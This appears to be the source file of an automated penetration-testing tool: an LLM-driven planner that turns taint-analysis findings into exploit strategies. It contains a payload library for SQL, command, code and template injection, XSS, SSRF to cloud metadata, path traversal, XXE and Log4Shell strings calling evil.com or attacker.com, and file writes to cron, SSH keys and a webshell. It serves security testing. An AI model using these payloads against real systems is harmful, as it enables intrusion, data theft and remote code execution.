# ---------------------------------------------------------------------------
#  Copyright (c) DevSecCode. All rights reserved.
# ---------------------------------------------------------------------------
"""LLM-powered exploit planner — generates exploit strategies from CPG attack vectors.

Takes an AttackVector (endpoint + taint paths + vulnerability categories) and
produces a ranked list of ExploitStrategy objects that the runner can execute.

The planner uses the LLM to:
1. Analyze the source code along the taint path
2. Understand input validation, encoding, and business logic
3. Generate targeted payloads that account for the specific code context
4. Predict which payloads are most likely to succeed

This is fundamentally different from Shannon's approach:
- Shannon uses static exploit templates per vulnerability class
- Deva uses the actual CPG data flow path to craft context-aware exploits
- We read the source code along the taint chain, so the LLM knows what
  sanitizers exist, what DB engine is used, what encoding is applied, etc.
"""

from __future__ import annotations

import enum
import json
import logging
import os
from dataclasses import dataclass, field
from typing import Any, Optional

from dsc_api.services.code_intel.cpg.attack_surface import AttackVector, HTTPEndpoint
from dsc_api.services.code_intel.cpg.dataflow import TaintPath
from dsc_api.services.code_intel.cpg.taint_catalog import VulnCategory

logger = logging.getLogger(__name__)


class ExploitMethod(str, enum.Enum):
    """How to deliver the exploit."""
    HTTP_REQUEST = "http_request"
    BROWSER_NAVIGATE = "browser_navigate"
    BROWSER_FORM = "browser_form"
    BROWSER_JS = "browser_js"
    CLI_COMMAND = "cli_command"
    WEBSOCKET = "websocket"
    MULTIPART_UPLOAD = "multipart_upload"


class ExploitConfidence(str, enum.Enum):
    """Predicted exploit success probability."""
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    SPECULATIVE = "speculative"


@dataclass
class ExploitPayload:
    """A single payload to test."""
    value: str
    description: str
    target_param: str = ""
    encoding: str = ""  # url, base64, hex, none
    evasion: str = ""  # technique used to bypass filters


@dataclass
class ExploitValidation:
    """How to verify exploit success."""
    check_type: str  # "status_code", "body_contains", "body_regex", "header_contains",
                     # "response_time", "error_message", "dom_mutation", "data_exfil"
    expected: str  # what to look for
    description: str = ""


@dataclass
class ExploitStrategy:
    """A complete exploit strategy for a single attack vector."""
    vector: AttackVector
    method: ExploitMethod
    payloads: list[ExploitPayload]
    validations: list[ExploitValidation]
    confidence: ExploitConfidence = ExploitConfidence.MEDIUM
    risk_score: float = 0.0
    reasoning: str = ""
    prerequisites: list[str] = field(default_factory=list)  # e.g. "requires auth token"
    setup_steps: list[dict[str, Any]] = field(default_factory=list)  # pre-exploit setup
    cleanup_steps: list[dict[str, Any]] = field(default_factory=list)  # post-exploit cleanup

    # Filled by runner after execution
    http_request: Optional[dict[str, Any]] = None  # method, url, headers, body
    auth_config: Optional[dict[str, Any]] = None


# ---------------------------------------------------------------------------
# Category-specific payload templates (used as seed for LLM context)
# ---------------------------------------------------------------------------

_PAYLOAD_SEEDS: dict[VulnCategory, list[dict[str, str]]] = {
    VulnCategory.SQL_INJECTION: [
        {"value": "' OR '1'='1' --", "description": "Classic boolean bypass"},
        {"value": "' UNION SELECT NULL,NULL,NULL--", "description": "UNION probe (detect column count)"},
        {"value": "1; WAITFOR DELAY '0:0:5'--", "description": "Time-based blind (MSSQL)"},
        {"value": "' OR SLEEP(5)--", "description": "Time-based blind (MySQL)"},
        {"value": "1' AND (SELECT COUNT(*) FROM information_schema.tables)>0--", "description": "Schema probe"},
    ],
    VulnCategory.COMMAND_INJECTION: [
        {"value": "; id", "description": "Semicolon injection (Linux)"},
        {"value": "| cat /etc/passwd", "description": "Pipe injection"},
        {"value": "$(whoami)", "description": "Command substitution"},
        {"value": "`whoami`", "description": "Backtick injection"},
        {"value": "\n/usr/bin/id", "description": "Newline injection"},
    ],
    VulnCategory.XSS: [
        {"value": "<script>alert(document.domain)</script>", "description": "Basic reflected XSS"},
        {"value": "<img src=x onerror=alert(1)>", "description": "Event handler XSS"},
        {"value": "javascript:alert(1)", "description": "Protocol handler XSS"},
        {"value": "'-alert(1)-'", "description": "Attribute escape XSS"},
        {"value": "<svg/onload=alert(1)>", "description": "SVG onload XSS"},
    ],
    VulnCategory.SSRF: [
        {"value": "http://127.0.0.1:80", "description": "Localhost probe"},
        {"value": "http://169.254.169.254/latest/meta-data/", "description": "AWS metadata"},
        {"value": "http://metadata.google.internal/computeMetadata/v1/", "description": "GCP metadata"},
        {"value": "http://[::1]:80", "description": "IPv6 localhost bypass"},
        {"value": "http://0x7f000001", "description": "Hex IP bypass"},
    ],
    VulnCategory.PATH_TRAVERSAL: [
        {"value": "../../../etc/passwd", "description": "Unix path traversal"},
        {"value": "....//....//....//etc/passwd", "description": "Double-dot bypass"},
        {"value": "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", "description": "URL-encoded traversal"},
        {"value": "..\\..\\..\\windows\\win.ini", "description": "Windows path traversal"},
    ],
    VulnCategory.NOSQL_INJECTION: [
        {"value": '{"$gt": ""}', "description": "MongoDB operator injection"},
        {"value": '{"$ne": null}', "description": "Not-equal bypass"},
        {"value": '{"$regex": ".*"}', "description": "Regex wildcard"},
        {"value": '{"$where": "sleep(5000)"}', "description": "Server-side JS injection"},
    ],
    VulnCategory.XXE: [
        {"value": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>', "description": "Classic XXE file read"},
        {"value": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/collect">]><foo>&xxe;</foo>', "description": "OOB XXE"},
    ],
    VulnCategory.OPEN_REDIRECT: [
        {"value": "//evil.com", "description": "Protocol-relative redirect"},
        {"value": "https://evil.com", "description": "Absolute redirect"},
        {"value": "/\\evil.com", "description": "Backslash redirect"},
        {"value": "/%09/evil.com", "description": "Tab-escaped redirect"},
    ],
    VulnCategory.DESERIALIZATION: [
        {"value": '{"__proto__": {"isAdmin": true}}', "description": "Prototype pollution"},
        {"value": '{"constructor": {"prototype": {"isAdmin": true}}}', "description": "Constructor pollution"},
    ],
    VulnCategory.SSTI: [
        {"value": "{{7*7}}", "description": "Jinja2/Twig arithmetic probe"},
        {"value": "${7*7}", "description": "FreeMarker/Thymeleaf probe"},
        {"value": "{{config.items()}}", "description": "Jinja2 config dump"},
        {"value": "{{''.__class__.__mro__[1].__subclasses__()}}", "description": "Jinja2 RCE chain probe"},
        {"value": "#{T(java.lang.Runtime).getRuntime().exec('id')}", "description": "Spring EL RCE"},
    ],
    VulnCategory.CODE_INJECTION: [
        {"value": "__import__('os').system('id')", "description": "Python eval() injection"},
        {"value": "require('child_process').exec('id')", "description": "Node.js eval injection"},
        {"value": "1+1; process.exit()", "description": "JS expression injection"},
        {"value": "';import os;os.system('id');'", "description": "Python string eval escape"},
    ],
    VulnCategory.FILE_WRITE: [
        {"value": "../../etc/cron.d/malicious", "description": "Cron directory write (Linux)"},
        {"value": "../.ssh/authorized_keys", "description": "SSH key injection"},
        {"value": "../.env", "description": "Environment file overwrite"},
        {"value": "../../public/shell.php", "description": "Webshell upload via path traversal"},
    ],
    VulnCategory.FILE_DELETE: [
        {"value": "../../../etc/passwd", "description": "Critical file deletion"},
        {"value": "../../.env", "description": "Config file deletion"},
        {"value": "../package.json", "description": "Build config deletion"},
    ],
    VulnCategory.EMAIL_INJECTION: [
        {"value": "attacker@evil.com\\r\\nBcc: victim@target.com", "description": "Header injection (Bcc)"},
        {"value": "attacker@evil.com\\nSubject: Phishing", "description": "Subject injection"},
        {"value": "attacker@evil.com%0ABcc:victim@target.com", "description": "URL-encoded header injection"},
    ],
    VulnCategory.DYNAMIC_IMPORT: [
        {"value": "../../malicious-module", "description": "Relative path module hijack"},
        {"value": "child_process", "description": "Sensitive module import (Node.js)"},
        {"value": "http://evil.com/module.js", "description": "Remote module loading"},
    ],
    VulnCategory.LDAP_INJECTION: [
        {"value": "*)(uid=*))(|(uid=*", "description": "LDAP wildcard injection"},
        {"value": "admin)(|(password=*))", "description": "LDAP filter bypass"},
        {"value": "*)(&", "description": "LDAP filter termination"},
    ],
    VulnCategory.LOG_INJECTION: [
        {"value": "admin\\n[CRITICAL] BREACH DETECTED", "description": "Log line injection"},
        {"value": "${jndi:ldap://evil.com/a}", "description": "Log4Shell probe"},
        {"value": "user\\r\\n127.0.0.1 - - [fake] POST /admin", "description": "Log entry forging"},
    ],
    VulnCategory.AUTH_BYPASS: [
        {"value": '{"role": "admin"}', "description": "JWT/session role escalation"},
        {"value": "admin", "description": "IDOR — try admin user ID"},
        {"value": "true", "description": "Boolean isAdmin parameter"},
    ],
}


class ExploitPlanner:
    """Plans exploit strategies using LLM + CPG context.

    The planner reads source code along taint paths to understand the
    specific validation, encoding, and business logic in play, then
    generates targeted payloads via LLM reasoning.
    """

    def __init__(
        self,
        workspace_root: str,
        llm_client: Any = None,  # dsc_api.services.llm_client instance
    ) -> None:
        self._workspace_root = workspace_root
        self._llm_client = llm_client

    async def plan(
        self,
        vector: AttackVector,
        base_url: str,
        auth_config: Optional[dict[str, Any]] = None,
    ) -> list[ExploitStrategy]:
        """Generate exploit strategies for an attack vector.

        If LLM is available, generates context-aware payloads.
        Falls back to template-based payloads otherwise.
        """
        strategies: list[ExploitStrategy] = []

        for category in vector.categories:
            # Gather source code context along taint paths for this category
            code_context = self._gather_code_context(vector, category)

            if self._llm_client:
                try:
                    strategy = await self._plan_with_llm(
                        vector, category, code_context, base_url, auth_config,
                    )
                    if strategy:
                        strategies.append(strategy)
                        continue
                except Exception:
                    logger.warning("LLM planning failed for %s, falling back to templates",
                                   category.value, exc_info=True)

            # Fallback: template-based strategy
            strategy = self._plan_from_templates(vector, category, base_url, auth_config)
            if strategy:
                strategies.append(strategy)

        # Sort by confidence then risk score
        conf_order = {ExploitConfidence.HIGH: 0, ExploitConfidence.MEDIUM: 1,
                      ExploitConfidence.LOW: 2, ExploitConfidence.SPECULATIVE: 3}
        strategies.sort(key=lambda s: (conf_order.get(s.confidence, 9), -s.risk_score))
        return strategies

    def _gather_code_context(
        self, vector: AttackVector, category: VulnCategory,
    ) -> str:
        """Read source code along taint paths to build LLM context."""
        snippets: list[str] = []
        seen_ranges: set[tuple[str, int, int]] = set()

        relevant_paths = [p for p in vector.taint_paths
                          if p.category == category and not p.sanitized]

        for path in relevant_paths[:3]:  # Limit to 3 paths for token budget
            # Source
            snippet = self._read_symbol_source(path.source.file_path, path.source.start_line, path.source.end_line)
            key = (path.source.file_path, path.source.start_line, path.source.end_line)
            if snippet and key not in seen_ranges:
                seen_ranges.add(key)
                snippets.append(f"// SOURCE: {path.source.symbol_name} ({path.source.file_path}:{path.source.start_line})\n{snippet}")

            # Hops
            for hop in path.hops[:5]:  # Limit hops
                snippet = self._read_symbol_source(hop.file_path, hop.start_line, hop.end_line)
                key = (hop.file_path, hop.start_line, hop.end_line)
                if snippet and key not in seen_ranges:
                    seen_ranges.add(key)
                    snippets.append(f"// HOP: {hop.symbol_name} ({hop.file_path}:{hop.start_line})\n{snippet}")

            # Sink
            snippet = self._read_symbol_source(path.sink.file_path, path.sink.start_line, path.sink.end_line)
            key = (path.sink.file_path, path.sink.start_line, path.sink.end_line)
            if snippet and key not in seen_ranges:
                seen_ranges.add(key)
                snippets.append(f"// SINK: {path.sink.symbol_name} ({path.sink.file_path}:{path.sink.start_line})\n{snippet}")

        return "\n\n".join(snippets)

    def _read_symbol_source(self, file_path: str, start_line: int, end_line: int) -> str:
        """Read source code for a symbol, with context lines."""
        abs_path = os.path.join(self._workspace_root, file_path)
        try:
            with open(abs_path, "r", errors="replace") as f:
                lines = f.readlines()
        except (OSError, IOError):
            return ""

        # Expand context by a few lines
        start = max(0, start_line - 3)
        end = min(len(lines), end_line + 2)
        return "".join(lines[start:end])

    async def _plan_with_llm(
        self,
        vector: AttackVector,
        category: VulnCategory,
        code_context: str,
        base_url: str,
        auth_config: Optional[dict[str, Any]],
    ) -> Optional[ExploitStrategy]:
        """Use LLM to generate a context-aware exploit strategy."""
        prompt = self._build_planning_prompt(vector, category, code_context, base_url)

        response = await self._llm_client.generate_text(
            prompt=prompt,
            system="You are a security researcher performing authorized penetration testing. "
                   "Analyze the provided source code and generate exploit strategies. "
                   "Return ONLY valid JSON matching the specified schema.",
            max_tokens=2000,
            temperature=0.3,
        )

        try:
            data = json.loads(response)
        except (json.JSONDecodeError, TypeError):
            # Try to extract JSON from markdown code block
            import re
            match = re.search(r'```(?:json)?\s*(\{.*?\})\s*```', response, re.DOTALL)
            if match:
                data = json.loads(match.group(1))
            else:
                return None

        return self._parse_llm_strategy(data, vector, category, base_url, auth_config)

    def _plan_from_templates(
        self,
        vector: AttackVector,
        category: VulnCategory,
        base_url: str,
        auth_config: Optional[dict[str, Any]],
    ) -> Optional[ExploitStrategy]:
        """Generate template-based exploit strategy (fallback when LLM unavailable)."""
        seeds = _PAYLOAD_SEEDS.get(category, [])
        if not seeds:
            return None

        ep = vector.endpoint
        target_params = vector.exploitable_params or ["q", "id", "input", "search", "name"]

        payloads: list[ExploitPayload] = []
        for seed in seeds:
            for param in target_params[:2]:
                payloads.append(ExploitPayload(
                    value=seed["value"],
                    description=seed["description"],
                    target_param=param,
                ))

        # Determine delivery method
        if category in (VulnCategory.XSS,):
            method = ExploitMethod.BROWSER_NAVIGATE
        elif category in (VulnCategory.SSRF, VulnCategory.SQL_INJECTION,
                          VulnCategory.NOSQL_INJECTION, VulnCategory.COMMAND_INJECTION):
            method = ExploitMethod.HTTP_REQUEST
        elif category in (VulnCategory.PATH_TRAVERSAL,):
            method = ExploitMethod.HTTP_REQUEST
        elif category in (VulnCategory.XXE, VulnCategory.DESERIALIZATION):
            method = ExploitMethod.HTTP_REQUEST
        else:
            method = ExploitMethod.HTTP_REQUEST

        # Build validation checks
        validations = self._default_validations(category)

        # Build HTTP request template
        url = f"{base_url.rstrip('/')}{ep.path}"
        http_request = {
            "method": ep.method if ep.method != "ALL" else "GET",
            "url": url,
            "headers": {"Content-Type": "application/json"},
        }

        return ExploitStrategy(
            vector=vector,
            method=method,
            payloads=payloads,
            validations=validations,
            confidence=ExploitConfidence.MEDIUM,
            risk_score=vector.risk_score,
            reasoning=f"Template-based {category.value} exploit for {ep.method} {ep.path}",
            prerequisites=["requires_auth"] if ep.auth_required else [],
            http_request=http_request,
            auth_config=auth_config,
        )

    def _build_planning_prompt(
        self,
        vector: AttackVector,
        category: VulnCategory,
        code_context: str,
        base_url: str,
    ) -> str:
        ep = vector.endpoint
        return f"""Analyze this code for {category.value} vulnerabilities and generate an exploit strategy.

## Target
- Endpoint: {ep.method} {ep.path}
- Base URL: {base_url}
- Framework: {ep.framework}
- Auth required: {ep.auth_required}
- Parameters: {', '.join(ep.parameters) if ep.parameters else 'none detected'}

## Data Flow (Source -> Sink)
The taint analysis found {len(vector.taint_paths)} paths from user input to dangerous sinks.

## Source Code Along Taint Path
{code_context}

## Task
Generate a JSON exploit strategy:
{{
  "confidence": "high|medium|low|speculative",
  "reasoning": "Why this exploit should work based on the code",
  "method": "http_request|browser_navigate|browser_form|browser_js|cli_command",
  "payloads": [
    {{"value": "the payload", "description": "why this payload", "target_param": "param_name", "encoding": "none|url|base64"}}
  ],
  "validations": [
    {{"check_type": "status_code|body_contains|body_regex|response_time|error_message|dom_mutation", "expected": "what to check", "description": "what this proves"}}
  ],
  "prerequisites": ["list of requirements"],
  "setup_steps": []
}}

Focus on the actual code patterns — if you see parameterized queries, prepared statements,
or sanitization, lower confidence. If you see raw string interpolation into SQL/commands/HTML,
raise confidence. Be specific about which parameter to inject and why."""

    def _parse_llm_strategy(
        self,
        data: dict[str, Any],
        vector: AttackVector,
        category: VulnCategory,
        base_url: str,
        auth_config: Optional[dict[str, Any]],
    ) -> ExploitStrategy:
        """Parse LLM JSON response into an ExploitStrategy."""
        payloads = [
            ExploitPayload(
                value=p.get("value", ""),
                description=p.get("description", ""),
                target_param=p.get("target_param", ""),
                encoding=p.get("encoding", ""),
            )
            for p in data.get("payloads", [])
        ]

        validations = [
            ExploitValidation(
                check_type=v.get("check_type", "body_contains"),
                expected=v.get("expected", ""),
                description=v.get("description", ""),
            )
            for v in data.get("validations", [])
        ]

        conf_map = {
            "high": ExploitConfidence.HIGH,
            "medium": ExploitConfidence.MEDIUM,
            "low": ExploitConfidence.LOW,
            "speculative": ExploitConfidence.SPECULATIVE,
        }

        method_map = {
            "http_request": ExploitMethod.HTTP_REQUEST,
            "browser_navigate": ExploitMethod.BROWSER_NAVIGATE,
            "browser_form": ExploitMethod.BROWSER_FORM,
            "browser_js": ExploitMethod.BROWSER_JS,
            "cli_command": ExploitMethod.CLI_COMMAND,
            "websocket": ExploitMethod.WEBSOCKET,
        }

        ep = vector.endpoint
        url = f"{base_url.rstrip('/')}{ep.path}"

        return ExploitStrategy(
            vector=vector,
            method=method_map.get(data.get("method", ""), ExploitMethod.HTTP_REQUEST),
            payloads=payloads,
            validations=validations,
            confidence=conf_map.get(data.get("confidence", ""), ExploitConfidence.MEDIUM),
            risk_score=vector.risk_score,
            reasoning=data.get("reasoning", ""),
            prerequisites=data.get("prerequisites", []),
            setup_steps=data.get("setup_steps", []),
            http_request={"method": ep.method, "url": url, "headers": {"Content-Type": "application/json"}},
            auth_config=auth_config,
        )

    @staticmethod
    def _default_validations(category: VulnCategory) -> list[ExploitValidation]:
        """Default validation checks per vulnerability category."""
        checks: dict[VulnCategory, list[ExploitValidation]] = {
            VulnCategory.SQL_INJECTION: [
                ExploitValidation("body_contains", "error", "SQL error in response"),
                ExploitValidation("body_contains", "syntax", "SQL syntax error"),
                ExploitValidation("response_time", ">5000", "Time-based blind: >5s delay"),
                ExploitValidation("status_code", "500", "Internal server error from injection"),
            ],
            VulnCategory.COMMAND_INJECTION: [
                ExploitValidation("body_contains", "uid=", "Unix id output in response"),
                ExploitValidation("body_contains", "root:", "/etc/passwd leak"),
                ExploitValidation("response_time", ">5000", "Time-based: sleep injection"),
            ],
            VulnCategory.XSS: [
                ExploitValidation("body_contains", "<script>", "Unescaped script tag reflected"),
                ExploitValidation("body_contains", "onerror=", "Event handler reflected"),
                ExploitValidation("dom_mutation", "alert", "Alert dialog triggered"),
            ],
            VulnCategory.SSRF: [
                ExploitValidation("body_contains", "ami-", "AWS metadata in response"),
                ExploitValidation("body_contains", "computeMetadata", "GCP metadata in response"),
                ExploitValidation("body_contains", "127.0.0.1", "Localhost response content"),
                ExploitValidation("status_code", "200", "Successful internal request"),
            ],
            VulnCategory.PATH_TRAVERSAL: [
                ExploitValidation("body_contains", "root:", "/etc/passwd content"),
                ExploitValidation("body_contains", "[extensions]", "win.ini content"),
                ExploitValidation("status_code", "200", "File read succeeded"),
            ],
            VulnCategory.NOSQL_INJECTION: [
                ExploitValidation("body_regex", r"\"_id\"", "MongoDB document in response"),
                ExploitValidation("body_contains", "password", "Data extraction"),
                ExploitValidation("response_time", ">5000", "Server-side JS sleep"),
            ],
            VulnCategory.XXE: [
                ExploitValidation("body_contains", "root:", "File content via XXE"),
                ExploitValidation("body_contains", "ENTITY", "XXE reflection"),
            ],
            VulnCategory.OPEN_REDIRECT: [
                ExploitValidation("header_contains", "evil.com", "Redirect to attacker domain"),
                ExploitValidation("status_code", "302", "Redirect status code"),
            ],
        }
        return checks.get(category, [
            ExploitValidation("status_code", "500", "Server error indicating vulnerability"),
        ])
